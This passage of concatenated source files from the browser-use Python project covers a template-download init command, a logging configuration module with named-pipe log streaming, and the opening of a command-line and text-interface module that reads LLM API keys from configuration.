Fetch template file from GitHub. Returns file content if successful, None if failed. """ try: url = f'{TEMPLATE_REPO_URL}/{file_path}' with request.urlopen(url, timeout=5) as response: return response.read().decode('utf-8') except (URLError, TimeoutError, Exception): return None def _fetch_binary_from_github(file_path: str) -> bytes | None: """ Fetch binary file from GitHub. Returns file content if successful, None if failed. """ try: url = f'{TEMPLATE_REPO_URL}/{file_path}' with request.urlopen(url, timeout=5) as response: return response.read() except (URLError, TimeoutError, Exception): return None def _get_template_content(file_path: str) -> str: """ Get template file content from GitHub. Raises exception if fetch fails. """ content = _fetch_from_github(file_path) if content is not None: return content raise FileNotFoundError(f'Could not fetch template from GitHub: {file_path}') # InquirerPy style for template selection (browser-use orange theme) inquirer_style = InquirerPyStyle( { 'pointer': '#fe750e bold', 'highlighted': '#fe750e bold', 'question': 'bold', 'answer': '#fe750e bold', 'questionmark': '#fe750e bold', } ) def _get_terminal_width() -> int: """Get current terminal width in columns.""" return shutil.get_terminal_size().columns def _format_choice(name: str, metadata: dict[str, Any], width: int, is_default: bool = False) -> str: """ Format a template choice with responsive display based on terminal width. Styling: - Featured templates get [FEATURED] prefix - Author name included when width allows (except for default templates) - Everything turns orange when highlighted (InquirerPy's built-in behavior) Args: name: Template name metadata: Template metadata (description, featured, author) width: Terminal width in columns is_default: Whether this is a default template (default, advanced, tools) Returns: Formatted choice string """ is_featured = metadata.get('featured', False) description = metadata.get('description', '') author_name = metadata.get('author', {}).get('name', '') if isinstance(metadata.get('author'), dict) else '' # Build the choice string based on terminal width if width > 100: # Wide: show everything including author (except for default templates) if is_featured: if author_name: return f'[FEATURED] {name} by {author_name} - {description}' else: return f'[FEATURED] {name} - {description}' else: # Non-featured templates if author_name and not is_default: return f'{name} by {author_name} - {description}' else: return f'{name} - {description}' elif width > 60: # Medium: show name and description, no author if is_featured: return f'[FEATURED] {name} - {description}' else: return f'{name} - {description}' else: # Narrow: show name only return name def _write_init_file(output_path: Path, content: str, force: bool = False) -> bool: """Write content to a file, with safety checks.""" # Check if file already exists if output_path.exists() and not force: console.print(f'[yellow]⚠[/yellow] File already exists: [cyan]{output_path}[/cyan]') if not click.confirm('Overwrite?', default=False): console.print('[red]✗[/red] Cancelled') return False # Ensure parent directory exists output_path.parent.mkdir(parents=True, exist_ok=True) # Write file try: output_path.write_text(content, encoding='utf-8') return True except Exception as e: console.print(f'[red]✗[/red] Error writing file: {e}') return False @click.command('browser-use-init') @click.option( '--template', '-t', type=str, help='Template to use', ) @click.option( '--output', '-o', type=click.Path(), help='Output file path (default: browser_use_<template>.py)', ) @click.option( '--force', '-f', is_flag=True, help='Overwrite existing files without asking', ) @click.option( '--list', '-l', 'list_templates', is_flag=True, help='List available templates', ) def main( template: str | None, output: str | None, force: bool, list_templates: bool, ): """ Generate a browser-use template file to get started quickly. Examples: \b # Interactive mode - prompts for template selection uvx browser-use init uvx browser-use init --template \b # Generate default template uvx browser-use init --template default \b # Generate advanced template with custom filename uvx browser-use init --template advanced --output my_script.py \b # List available templates uvx browser-use init --list """ # Fetch template list at runtime try: INIT_TEMPLATES = _get_template_list() except FileNotFoundError as e: console.print(f'[red]✗[/red] {e}') sys.exit(1) # Handle --list flag if list_templates: console.print('\n[bold]Available templates:[/bold]\n') for name, info in INIT_TEMPLATES.items(): console.print(f' [#fe750e]{name:12}[/#fe750e] - {info["description"]}') console.print() return # Interactive template selection if not provided if not template: # Get terminal width for responsive formatting width = _get_terminal_width() # Separate default and featured templates default_template_names = ['default', 'advanced', 'tools'] featured_templates = [(name, info) for name, info in INIT_TEMPLATES.items() if info.get('featured', False)] other_templates = [ (name, info) for name, info in INIT_TEMPLATES.items() if name not in default_template_names and not info.get('featured', False) ] # Sort by last_modified_date (most recent first) def get_last_modified(item): name, info = item date_str = ( info.get('author', {}).get('last_modified_date', '1970-01-01') if isinstance(info.get('author'), dict) else '1970-01-01' ) return date_str # Sort default templates by last modified default_templates = [(name, INIT_TEMPLATES[name]) for name in default_template_names if name in INIT_TEMPLATES] default_templates.sort(key=get_last_modified, reverse=True) # Sort featured and other templates by last modified featured_templates.sort(key=get_last_modified, reverse=True) other_templates.sort(key=get_last_modified, reverse=True) # Build choices in order: defaults first, then featured, then others choices = [] # Add default templates for i, (name, info) in enumerate(default_templates): formatted = _format_choice(name, info, width, is_default=True) choices.append(Choice(name=formatted, value=name)) # Add featured templates for i, (name, info) in enumerate(featured_templates): formatted = _format_choice(name, info, width, is_default=False) choices.append(Choice(name=formatted, value=name)) # Add other templates (if any) for name, info in other_templates: formatted = _format_choice(name, info, width, is_default=False) choices.append(Choice(name=formatted, value=name)) # Use fuzzy prompt for search functionality # Use getattr to avoid static analysis complaining about non-exported names _fuzzy = getattr(inquirer, 'fuzzy') template = _fuzzy( message='Select a template (type to search):', choices=choices, style=inquirer_style, max_height='70%', ).execute() # Handle user cancellation (Ctrl+C) if template is None: console.print('\n[red]✗[/red] Cancelled') sys.exit(1) # Template is guaranteed to be set at this point (either from option or prompt) assert template is not None # Create template directory template_dir = Path.cwd() / template if template_dir.exists() and not force: console.print(f'[yellow]⚠[/yellow] Directory already exists: [cyan]{template_dir}[/cyan]') if not click.confirm('Continue and overwrite files?', default=False): console.print('[red]✗[/red] Cancelled') sys.exit(1) # Create directory template_dir.mkdir(parents=True, exist_ok=True) # Determine output path if output: output_path = template_dir / Path(output) else: output_path = template_dir / 'main.py' # Read template file from GitHub try: template_file = INIT_TEMPLATES[template]['file'] content = _get_template_content(template_file) except Exception as e: console.print(f'[red]✗[/red] Error reading template: {e}') sys.exit(1) # Write file if _write_init_file(output_path, content, force): console.print(f'\n[green]✓[/green] Created [cyan]{output_path}[/cyan]') # Generate additional files if template has a manifest if 'files' in INIT_TEMPLATES[template]: import stat for file_spec in INIT_TEMPLATES[template]['files']: source_path = file_spec['source'] dest_name = file_spec['dest'] dest_path = output_path.parent / dest_name is_binary = file_spec.get('binary', False) is_executable = file_spec.get('executable', False) # Skip if we already wrote this file (main.py) if dest_path == output_path: continue # Fetch and write file try: if is_binary: file_content = _fetch_binary_from_github(source_path) if file_content: if not dest_path.exists() or force: dest_path.write_bytes(file_content) console.print(f'[green]✓[/green] Created [cyan]{dest_name}[/cyan]') else: console.print(f'[yellow]⚠[/yellow] Could not fetch [cyan]{dest_name}[/cyan] from GitHub') else: file_content = _get_template_content(source_path) if _write_init_file(dest_path, file_content, force): console.print(f'[green]✓[/green] Created [cyan]{dest_name}[/cyan]') # Make executable if needed if is_executable and sys.platform != 'win32': dest_path.chmod(dest_path.stat().st_mode | stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH) except Exception as e: console.print(f'[yellow]⚠[/yellow] Error generating [cyan]{dest_name}[/cyan]: {e}') # Create a nice panel for next steps next_steps = Text() # Display next steps from manifest if available if 'next_steps' in INIT_TEMPLATES[template]: steps = INIT_TEMPLATES[template]['next_steps'] for i, step in enumerate(steps, 1): # Handle footer separately (no numbering) if 'footer' in step: next_steps.append(f'{step["footer"]}\n', style='dim italic') continue # Step title next_steps.append(f'\n{i}. {step["title"]}:\n', style='bold') # Step commands for cmd in step.get('commands', []): # Replace placeholders cmd = cmd.replace('{template}', template) cmd = cmd.replace('{output}', output_path.name) next_steps.append(f' {cmd}\n', style='dim') # Optional note if 'note' in step: next_steps.append(f' {step["note"]}\n', style='dim italic') next_steps.append('\n') else: # Default workflow for templates without custom next_steps next_steps.append('\n1. Navigate to project directory:\n', style='bold') next_steps.append(f' cd {template}\n\n', style='dim') next_steps.append('2. Initialize uv project:\n', style='bold') next_steps.append(' uv init\n\n', style='dim') next_steps.append('3. Install browser-use:\n', style='bold') next_steps.append(' uv add browser-use\n\n', style='dim') next_steps.append('4. Set up your API key in .env file or environment:\n', style='bold') next_steps.append(' BROWSER_USE_API_KEY=your-key\n', style='dim') next_steps.append( ' (Get your key at https://cloud.browser-use.com/dashboard/settings?tab=api-keys&new)\n\n', style='dim italic', ) next_steps.append('5. Run your script:\n', style='bold') next_steps.append(f' uv run {output_path.name}\n', style='dim') console.print( Panel( next_steps, title='[bold]Next steps[/bold]', border_style='#fe750e', padding=(1, 2), ) ) if __name__ == '__main__': main()
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/logging_config.py
browser_use/logging_config.py
import logging import os import sys from pathlib import Path from dotenv import load_dotenv load_dotenv() from browser_use.config import CONFIG def addLoggingLevel(levelName, levelNum, methodName=None): """ Comprehensively adds a new logging level to the `logging` module and the currently configured logging class. `levelName` becomes an attribute of the `logging` module with the value `levelNum`. `methodName` becomes a convenience method for both `logging` itself and the class returned by `logging.getLoggerClass()` (usually just `logging.Logger`). If `methodName` is not specified, `levelName.lower()` is used. To avoid accidental clobberings of existing attributes, this method will raise an `AttributeError` if the level name is already an attribute of the `logging` module or if the method name is already present Example ------- >>> addLoggingLevel('TRACE', logging.DEBUG - 5) >>> logging.getLogger(__name__).setLevel('TRACE') >>> logging.getLogger(__name__).trace('that worked') >>> logging.trace('so did this') >>> logging.TRACE 5 """ if not methodName: methodName = levelName.lower() if hasattr(logging, levelName): raise AttributeError(f'{levelName} already defined in logging module') if hasattr(logging, methodName): raise AttributeError(f'{methodName} already defined in logging module') if hasattr(logging.getLoggerClass(), methodName): raise AttributeError(f'{methodName} already defined in logger class') # This method was inspired by the answers to Stack Overflow post # http://stackoverflow.com/q/2183233/2988730, especially # http://stackoverflow.com/a/13638084/2988730 def logForLevel(self, message, *args, **kwargs): if self.isEnabledFor(levelNum): self._log(levelNum, message, args, **kwargs) def logToRoot(message, *args, **kwargs): logging.log(levelNum, message, *args, **kwargs) logging.addLevelName(levelNum, levelName) setattr(logging, levelName, levelNum) setattr(logging.getLoggerClass(), methodName, logForLevel) setattr(logging, methodName, logToRoot) def setup_logging(stream=None, log_level=None, force_setup=False, debug_log_file=None, info_log_file=None): """Setup logging configuration for browser-use. Args: stream: Output stream for logs (default: sys.stdout). Can be sys.stderr for MCP mode. log_level: Override log level (default: uses CONFIG.BROWSER_USE_LOGGING_LEVEL) force_setup: Force reconfiguration even if handlers already exist debug_log_file: Path to log file for debug level logs only info_log_file: Path to log file for info level logs only """ # Try to add RESULT level, but ignore if it already exists try: addLoggingLevel('RESULT', 35) # This allows ERROR, FATAL and CRITICAL except AttributeError: pass # Level already exists, which is fine log_type = log_level or CONFIG.BROWSER_USE_LOGGING_LEVEL # Check if handlers are already set up if logging.getLogger().hasHandlers() and not force_setup: return logging.getLogger('browser_use') # Clear existing handlers root = logging.getLogger() root.handlers = [] class BrowserUseFormatter(logging.Formatter): def __init__(self, fmt, log_level): super().__init__(fmt) self.log_level = log_level def format(self, record): # Only clean up names in INFO mode, keep everything in DEBUG mode if self.log_level > logging.DEBUG and isinstance(record.name, str) and record.name.startswith('browser_use.'): # Extract clean component names from logger names if 'Agent' in record.name: record.name = 'Agent' elif 'BrowserSession' in record.name: record.name = 'BrowserSession' elif 'tools' in record.name: record.name = 'tools' elif 'dom' in record.name: record.name = 'dom' elif record.name.startswith('browser_use.'): # For other browser_use modules, use the last part parts = record.name.split('.') if len(parts) >= 2: record.name = parts[-1] return super().format(record) # Setup single handler for all loggers console = logging.StreamHandler(stream or sys.stdout) # Determine the log level to use first if log_type == 'result': log_level = 35 # RESULT level value elif log_type == 'debug': log_level = logging.DEBUG else: log_level = logging.INFO # adittional setLevel here to filter logs if log_type == 'result': console.setLevel('RESULT') console.setFormatter(BrowserUseFormatter('%(message)s', log_level)) else: console.setLevel(log_level) # Keep console at original log level (e.g., INFO) console.setFormatter(BrowserUseFormatter('%(levelname)-8s [%(name)s] %(message)s', log_level)) # Configure root logger only root.addHandler(console) # Add file handlers if specified file_handlers = [] # Create debug log file handler if debug_log_file: debug_handler = logging.FileHandler(debug_log_file, encoding='utf-8') debug_handler.setLevel(logging.DEBUG) debug_handler.setFormatter(BrowserUseFormatter('%(asctime)s - %(levelname)-8s [%(name)s] %(message)s', logging.DEBUG)) file_handlers.append(debug_handler) root.addHandler(debug_handler) # Create info log file handler if info_log_file: info_handler = logging.FileHandler(info_log_file, encoding='utf-8') info_handler.setLevel(logging.INFO) info_handler.setFormatter(BrowserUseFormatter('%(asctime)s - %(levelname)-8s [%(name)s] %(message)s', logging.INFO)) file_handlers.append(info_handler) root.addHandler(info_handler) # Configure root logger - use DEBUG if debug file logging is enabled effective_log_level = logging.DEBUG if debug_log_file else log_level root.setLevel(effective_log_level) # Configure browser_use logger browser_use_logger = logging.getLogger('browser_use') browser_use_logger.propagate = False # Don't propagate to root logger browser_use_logger.addHandler(console) for handler in file_handlers: browser_use_logger.addHandler(handler) browser_use_logger.setLevel(effective_log_level) # Configure bubus logger to allow INFO level logs bubus_logger = logging.getLogger('bubus') bubus_logger.propagate = False # Don't propagate to root logger bubus_logger.addHandler(console) for handler in file_handlers: bubus_logger.addHandler(handler) bubus_logger.setLevel(logging.INFO if log_type == 'result' else effective_log_level) # Configure CDP logging using cdp_use's setup function # This enables the formatted CDP output using CDP_LOGGING_LEVEL environment variable # Convert CDP_LOGGING_LEVEL string to logging level cdp_level_str = CONFIG.CDP_LOGGING_LEVEL.upper() cdp_level = getattr(logging, cdp_level_str, logging.WARNING) try: from cdp_use.logging import setup_cdp_logging # type: ignore # Use the CDP-specific logging level setup_cdp_logging( level=cdp_level, stream=stream or sys.stdout, format_string='%(levelname)-8s [%(name)s] %(message)s' if log_type != 'result' else '%(message)s', ) except ImportError: # If cdp_use doesn't have the new logging module, fall back to manual config cdp_loggers = [ 'websockets.client', 'cdp_use', 'cdp_use.client', 'cdp_use.cdp', 'cdp_use.cdp.registry', ] for logger_name in cdp_loggers: cdp_logger = logging.getLogger(logger_name) cdp_logger.setLevel(cdp_level) cdp_logger.addHandler(console) cdp_logger.propagate = False logger = logging.getLogger('browser_use') # logger.debug('BrowserUse logging setup complete with level %s', log_type) # Silence third-party loggers (but not CDP ones which we configured above) third_party_loggers = [ 'WDM', 'httpx', 'selenium', 'playwright', 'urllib3', 'asyncio', 'langsmith', 'langsmith.client', 'openai', 'httpcore', 'charset_normalizer', 'anthropic._base_client', 'PIL.PngImagePlugin', 'trafilatura.htmlprocessing', 'trafilatura', 'groq', 'portalocker', 'google_genai', 'portalocker.utils', 'websockets', # General websockets (but not websockets.client which we need) ] for logger_name in third_party_loggers: third_party = logging.getLogger(logger_name) third_party.setLevel(logging.ERROR) third_party.propagate = False return logger class FIFOHandler(logging.Handler): """Non-blocking handler that writes to a named pipe.""" def __init__(self, fifo_path: str): super().__init__() self.fifo_path = fifo_path Path(fifo_path).parent.mkdir(parents=True, exist_ok=True) # Create FIFO if it doesn't exist if not os.path.exists(fifo_path): os.mkfifo(fifo_path) # Don't open the FIFO yet - will open on first write self.fd = None def emit(self, record): try: # Open FIFO on first write if not already open if self.fd is None: try: self.fd = os.open(self.fifo_path, os.O_WRONLY | os.O_NONBLOCK) except OSError: # No reader connected yet, skip this message return msg = f'{self.format(record)}\n'.encode() os.write(self.fd, msg) except (OSError, BrokenPipeError): # Reader disconnected, close and reset if self.fd is not None: try: os.close(self.fd) except Exception: pass self.fd = None def close(self): if hasattr(self, 'fd') and self.fd is not None: try: os.close(self.fd) except Exception: pass super().close() def setup_log_pipes(session_id: str, base_dir: str | None = None): """Setup named pipes for log streaming. Usage: # In browser-use: setup_log_pipes(session_id="abc123") # In consumer process: tail -f {temp_dir}/buagent.c123/agent.pipe """ import tempfile if base_dir is None: base_dir = tempfile.gettempdir() suffix = session_id[-4:] pipe_dir = Path(base_dir) / f'buagent.{suffix}' # Agent logs agent_handler = FIFOHandler(str(pipe_dir / 'agent.pipe')) agent_handler.setLevel(logging.DEBUG) agent_handler.setFormatter(logging.Formatter('%(levelname)-8s [%(name)s] %(message)s')) for name in ['browser_use.agent', 'browser_use.tools']: logger = logging.getLogger(name) logger.addHandler(agent_handler) logger.setLevel(logging.DEBUG) logger.propagate = True # CDP logs cdp_handler = FIFOHandler(str(pipe_dir / 'cdp.pipe')) cdp_handler.setLevel(logging.DEBUG) cdp_handler.setFormatter(logging.Formatter('%(levelname)-8s [%(name)s] %(message)s')) for name in ['websockets.client', 'cdp_use.client']: logger = logging.getLogger(name) logger.addHandler(cdp_handler) logger.setLevel(logging.DEBUG) logger.propagate = True # Event logs event_handler = FIFOHandler(str(pipe_dir / 'events.pipe')) event_handler.setLevel(logging.INFO) event_handler.setFormatter(logging.Formatter('%(levelname)-8s [%(name)s] %(message)s')) for name in ['bubus', 'browser_use.browser.session']: logger = logging.getLogger(name) logger.addHandler(event_handler) logger.setLevel(logging.INFO) # Enable INFO for event bus logger.propagate = True
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/cli.py
browser_use/cli.py
# pyright: reportMissingImports=false # Check for MCP mode early to prevent logging initialization import sys if '--mcp' in sys.argv: import logging import os os.environ['BROWSER_USE_LOGGING_LEVEL'] = 'critical' os.environ['BROWSER_USE_SETUP_LOGGING'] = 'false' logging.disable(logging.CRITICAL) # Special case: install command doesn't need CLI dependencies if len(sys.argv) > 1 and sys.argv[1] == 'install': import platform import subprocess print('📦 Installing Chromium browser + system dependencies...') print('⏳ This may take a few minutes...\n') # Build command - only use --with-deps on Linux (it fails on Windows/macOS) cmd = ['uvx', 'playwright', 'install', 'chromium'] if platform.system() == 'Linux': cmd.append('--with-deps') cmd.append('--no-shell') result = subprocess.run(cmd) if result.returncode == 0: print('\n✅ Installation complete!') print('🚀 Ready to use! Run: uvx browser-use') else: print('\n❌ Installation failed') sys.exit(1) sys.exit(0) # Check for init subcommand early to avoid loading TUI dependencies if 'init' in sys.argv: from browser_use.init_cmd import INIT_TEMPLATES from browser_use.init_cmd import main as init_main # Check if --template or -t flag is present without a value # If so, just remove it and let init_main handle interactive mode if '--template' in sys.argv or '-t' in sys.argv: try: template_idx = sys.argv.index('--template') if '--template' in sys.argv else sys.argv.index('-t') template = sys.argv[template_idx + 1] if template_idx + 1 < len(sys.argv) else None # If template is not provided or is another flag, remove the flag and use interactive mode if not template or template.startswith('-'): if '--template' in sys.argv: sys.argv.remove('--template') else: sys.argv.remove('-t') except (ValueError, IndexError): pass # Remove 'init' from sys.argv so click doesn't see it as an unexpected argument sys.argv.remove('init') init_main() sys.exit(0) # Check for --template flag early to avoid loading TUI dependencies if '--template' in sys.argv: from pathlib import Path import click from browser_use.init_cmd import INIT_TEMPLATES # Parse template and output from sys.argv try: template_idx = sys.argv.index('--template') template = sys.argv[template_idx + 1] if template_idx + 1 < len(sys.argv) else None except (ValueError, IndexError): template = None # If template is not provided or is another flag, use interactive mode if not template or template.startswith('-'): # Redirect to init command with interactive template selection from browser_use.init_cmd import main as init_main # Remove --template from sys.argv sys.argv.remove('--template') init_main() sys.exit(0) # Validate template name if template not in INIT_TEMPLATES: click.echo(f'❌ Invalid template. Choose from: {", ".join(INIT_TEMPLATES.keys())}', err=True) sys.exit(1) # Check for --output flag output = None if '--output' in sys.argv or '-o' in sys.argv: try: output_idx = sys.argv.index('--output') if '--output' in sys.argv else sys.argv.index('-o') output = sys.argv[output_idx + 1] if output_idx + 1 < len(sys.argv) else None except (ValueError, IndexError): pass # Check for --force flag force = '--force' in sys.argv or '-f' in sys.argv # Determine output path output_path = Path(output) if output else Path.cwd() / f'browser_use_{template}.py' # Read and write template try: templates_dir = Path(__file__).parent / 'cli_templates' template_file = INIT_TEMPLATES[template]['file'] template_path = templates_dir / template_file content = template_path.read_text(encoding='utf-8') # Write file with safety checks if output_path.exists() and not force: click.echo(f'⚠️ File already exists: {output_path}') if not click.confirm('Overwrite?', default=False): click.echo('❌ Cancelled') sys.exit(1) output_path.parent.mkdir(parents=True, exist_ok=True) output_path.write_text(content, encoding='utf-8') click.echo(f'✅ Created {output_path}') click.echo('\nNext steps:') click.echo(' 1. Install browser-use:') click.echo(' uv pip install browser-use') click.echo(' 2. Set up your API key in .env file or environment:') click.echo(' BROWSER_USE_API_KEY=your-key') click.echo(' (Get your key at https://cloud.browser-use.com/new-api-key)') click.echo(' 3. Run your script:') click.echo(f' python {output_path.name}') except Exception as e: click.echo(f'❌ Error: {e}', err=True) sys.exit(1) sys.exit(0) import asyncio import json import logging import os import time from pathlib import Path from typing import Any from dotenv import load_dotenv from browser_use.llm.anthropic.chat import ChatAnthropic from browser_use.llm.google.chat import ChatGoogle from browser_use.llm.openai.chat import ChatOpenAI load_dotenv() from browser_use import Agent, Controller from browser_use.agent.views import AgentSettings from browser_use.browser import BrowserProfile, BrowserSession from browser_use.logging_config import addLoggingLevel from browser_use.telemetry import CLITelemetryEvent, ProductTelemetry from browser_use.utils import get_browser_use_version try: import click from textual import events from textual.app import App, ComposeResult from textual.binding import Binding from textual.containers import Container, HorizontalGroup, VerticalScroll from textual.widgets import Footer, Header, Input, Label, Link, RichLog, Static except ImportError: print('⚠️ CLI addon is not installed. Please install it with: `pip install "browser-use[cli]"` and try again.') sys.exit(1) try: import readline READLINE_AVAILABLE = True except ImportError: # readline not available on Windows by default READLINE_AVAILABLE = False os.environ['BROWSER_USE_LOGGING_LEVEL'] = 'result' from browser_use.config import CONFIG # Set USER_DATA_DIR now that CONFIG is imported USER_DATA_DIR = CONFIG.BROWSER_USE_PROFILES_DIR / 'cli' # Ensure directories exist CONFIG.BROWSER_USE_CONFIG_FILE.parent.mkdir(parents=True, exist_ok=True) USER_DATA_DIR.mkdir(parents=True, exist_ok=True) # Default User settings MAX_HISTORY_LENGTH = 100 # Directory setup will happen in functions that need CONFIG # Logo components with styling for rich panels BROWSER_LOGO = """ [white] ++++++ +++++++++ [/] [white] +++ +++++ +++ [/] [white] ++ ++++ ++ ++ [/] [white] ++ +++ +++ ++ [/] [white] ++++ +++ [/] [white] +++ +++ [/] [white] +++ +++ [/] [white] ++ +++ +++ ++ [/] [white] ++ ++++ ++ ++ [/] [white] +++ ++++++ +++ [/] [white] ++++++ +++++++ [/] [white]██████╗ ██████╗ ██████╗ ██╗ ██╗███████╗███████╗██████╗[/] [darkorange]██╗ ██╗███████╗███████╗[/] [white]██╔══██╗██╔══██╗██╔═══██╗██║ ██║██╔════╝██╔════╝██╔══██╗[/] [darkorange]██║ ██║██╔════╝██╔════╝[/] [white]██████╔╝██████╔╝██║ ██║██║ █╗ ██║███████╗█████╗ ██████╔╝[/] [darkorange]██║ ██║███████╗█████╗[/] [white]██╔══██╗██╔══██╗██║ ██║██║███╗██║╚════██║██╔══╝ ██╔══██╗[/] [darkorange]██║ ██║╚════██║██╔══╝[/] [white]██████╔╝██║ ██║╚██████╔╝╚███╔███╔╝███████║███████╗██║ ██║[/] [darkorange]╚██████╔╝███████║███████╗[/] [white]╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ ╚══════╝╚══════╝╚═╝ ╚═╝[/] [darkorange]╚═════╝ ╚══════╝╚══════╝[/] """ # Common UI constants TEXTUAL_BORDER_STYLES = {'logo': 'blue', 'info': 'blue', 'input': 'orange3', 'working': 'yellow', 'completion': 'green'} def get_default_config() -> dict[str, Any]: """Return default configuration dictionary using the new config system.""" # Load config from the new config system config_data = CONFIG.load_config() # Extract browser profile, llm, and agent configs browser_profile = config_data.get('browser_profile', {}) llm_config = config_data.get('llm', {}) agent_config = config_data.get('agent', {}) return { 'model': { 'name': llm_config.get('model'), 'temperature': llm_config.get('temperature', 0.0), 'api_keys': { 'OPENAI_API_KEY': llm_config.get('api_key', CONFIG.OPENAI_API_KEY), 'ANTHROPIC_API_KEY': CONFIG.ANTHROPIC_API_KEY, 'GOOGLE_API_KEY': CONFIG.GOOGLE_API_KEY, 'DEEPSEEK_API_KEY': CONFIG.DEEPSEEK_API_KEY, 'GROK_API_KEY': CONFIG.GROK_API_KEY, }, }, 'agent': agent_config, 'browser': { 'headless': browser_profile.get('headless', True), 'keep_alive': browser_profile.get('keep_alive', True), 'ignore_https_errors': browser_profile.get('ignore_https_errors', False), 'user_data_dir': browser_profile.get('user_data_dir'), 'allowed_domains': browser_profile.get('allowed_domains'), 'wait_between_actions': browser_profile.get('wait_between_actions'), 'is_mobile': browser_profile.get('is_mobile'), 'device_scale_factor': browser_profile.get('device_scale_factor'), 'disable_security': browser_profile.get('disable_security'), }, 'command_history': [], } def load_user_config() -> dict[str, Any]: """Load user configuration using the new config system.""" # Just get the default config which already loads from the new system config = get_default_config() # Load command history from a separate file if it exists history_file = CONFIG.BROWSER_USE_CONFIG_DIR / 'command_history.json' if history_file.exists(): try: with open(history_file) as f: config['command_history'] = json.load(f) except (FileNotFoundError, json.JSONDecodeError): config['command_history'] = [] return config def save_user_config(config: dict[str, Any]) -> None: """Save command history only (config is saved via the new system).""" # Only save command history to a separate file if 'command_history' in config and isinstance(config['command_history'], list): # Ensure command history doesn't exceed maximum length history = config['command_history'] if len(history) > MAX_HISTORY_LENGTH: history = history[-MAX_HISTORY_LENGTH:] # Save to separate history file history_file = CONFIG.BROWSER_USE_CONFIG_DIR / 'command_history.json' with open(history_file, 'w') as f: json.dump(history, f, indent=2) def update_config_with_click_args(config: dict[str, Any], ctx: click.Context) -> dict[str, Any]: """Update configuration with command-line arguments.""" # Ensure required sections exist if 'model' not in config: config['model'] = {} if 'browser' not in config: config['browser'] = {} # Update configuration with command-line args if provided if ctx.params.get('model'): config['model']['name'] = ctx.params['model'] if ctx.params.get('headless') is not None: config['browser']['headless'] = ctx.params['headless'] if ctx.params.get('window_width'): config['browser']['window_width'] = ctx.params['window_width'] if ctx.params.get('window_height'): config['browser']['window_height'] = ctx.params['window_height'] if ctx.params.get('user_data_dir'): config['browser']['user_data_dir'] = ctx.params['user_data_dir'] if ctx.params.get('profile_directory'): config['browser']['profile_directory'] = ctx.params['profile_directory'] if ctx.params.get('cdp_url'): config['browser']['cdp_url'] = ctx.params['cdp_url'] # Consolidated proxy dict proxy: dict[str, str] = {} if ctx.params.get('proxy_url'): proxy['server'] = ctx.params['proxy_url'] if ctx.params.get('no_proxy'): # Store as comma-separated list string to match Chrome flag proxy['bypass'] = ','.join([p.strip() for p in ctx.params['no_proxy'].split(',') if p.strip()]) if ctx.params.get('proxy_username'): proxy['username'] = ctx.params['proxy_username'] if ctx.params.get('proxy_password'): proxy['password'] = ctx.params['proxy_password'] if proxy: config['browser']['proxy'] = proxy return config def setup_readline_history(history: list[str]) -> None: """Set up readline with command history.""" if not READLINE_AVAILABLE: return # Add history items to readline for item in history: readline.add_history(item) def get_llm(config: dict[str, Any]): """Get the language model based on config and available API keys.""" model_config = config.get('model', {}) model_name = model_config.get('name') temperature = model_config.get('temperature', 0.0) # Get API key from config or environment api_key = model_config.get('api_keys', {}).get('OPENAI_API_KEY') or CONFIG.OPENAI_API_KEY if model_name: if model_name.startswith('gpt'): if not api_key and not CONFIG.OPENAI_API_KEY: print('⚠️ OpenAI API key not found. Please update your config or set OPENAI_API_KEY environment variable.') sys.exit(1) return ChatOpenAI(model=model_name, temperature=temperature, api_key=api_key or CONFIG.OPENAI_API_KEY) elif model_name.startswith('claude'): if not CONFIG.ANTHROPIC_API_KEY: print('⚠️ Anthropic API key not found. Please update your config or set ANTHROPIC_API_KEY environment variable.') sys.exit(1) return ChatAnthropic(model=model_name, temperature=temperature) elif model_name.startswith('gemini'): if not CONFIG.GOOGLE_API_KEY: print('⚠️ Google API key not found. Please update your config or set GOOGLE_API_KEY environment variable.') sys.exit(1) return ChatGoogle(model=model_name, temperature=temperature) elif model_name.startswith('oci'): # OCI models require additional configuration print( '⚠️ OCI models require manual configuration. Please use the ChatOCIRaw class directly with your OCI credentials.' ) sys.exit(1) # Auto-detect based on available API keys if api_key or CONFIG.OPENAI_API_KEY: return ChatOpenAI(model='gpt-5-mini', temperature=temperature, api_key=api_key or CONFIG.OPENAI_API_KEY) elif CONFIG.ANTHROPIC_API_KEY: return ChatAnthropic(model='claude-4-sonnet', temperature=temperature) elif CONFIG.GOOGLE_API_KEY: return ChatGoogle(model='gemini-2.5-pro', temperature=temperature) else: print( '⚠️ No API keys found. Please update your config or set one of: OPENAI_API_KEY, ANTHROPIC_API_KEY, or GOOGLE_API_KEY.' ) sys.exit(1) class RichLogHandler(logging.Handler): """Custom logging handler that redirects logs to a RichLog widget.""" def __init__(self, rich_log: RichLog): super().__init__() self.rich_log = rich_log def emit(self, record): try: msg = self.format(record) self.rich_log.write(msg) except Exception: self.handleError(record) class BrowserUseApp(App): """Browser-use TUI application.""" # Make it an inline app instead of fullscreen # MODES = {"light"} # Ensure app is inline, not fullscreen CSS = """ #main-container { height: 100%; layout: vertical; } #logo-panel, #links-panel, #paths-panel, #info-panels { border: solid $primary; margin: 0 0 0 0; padding: 0; } #info-panels { display: none; layout: vertical; height: auto; min-height: 5; margin: 0 0 1 0; } #top-panels { layout: horizontal; height: auto; width: 100%; } #browser-panel, #model-panel { width: 1fr; height: 100%; padding: 1; border-right: solid $primary; } #model-panel { border-right: none; } #tasks-panel { height: auto; max-height: 10; overflow-y: scroll; padding: 1; border-top: solid $primary; } #browser-info, #model-info, #tasks-info { height: auto; margin: 0; padding: 0; background: transparent; overflow-y: auto; min-height: 3; } #three-column-container { height: 1fr; layout: horizontal; width: 100%; display: none; } #main-output-column { width: 1fr; height: 100%; border: solid $primary; padding: 0; margin: 0 1 0 0; } #events-column { width: 1fr; height: 100%; border: solid $warning; padding: 0; margin: 0 1 0 0; } #cdp-column { width: 1fr; height: 100%; border: solid $accent; padding: 0; margin: 0; } #main-output-log, #events-log, #cdp-log { height: 100%; overflow-y: scroll; background: $surface; color: $text; width: 100%; padding: 1; } #events-log { color: $warning; } #cdp-log { color: 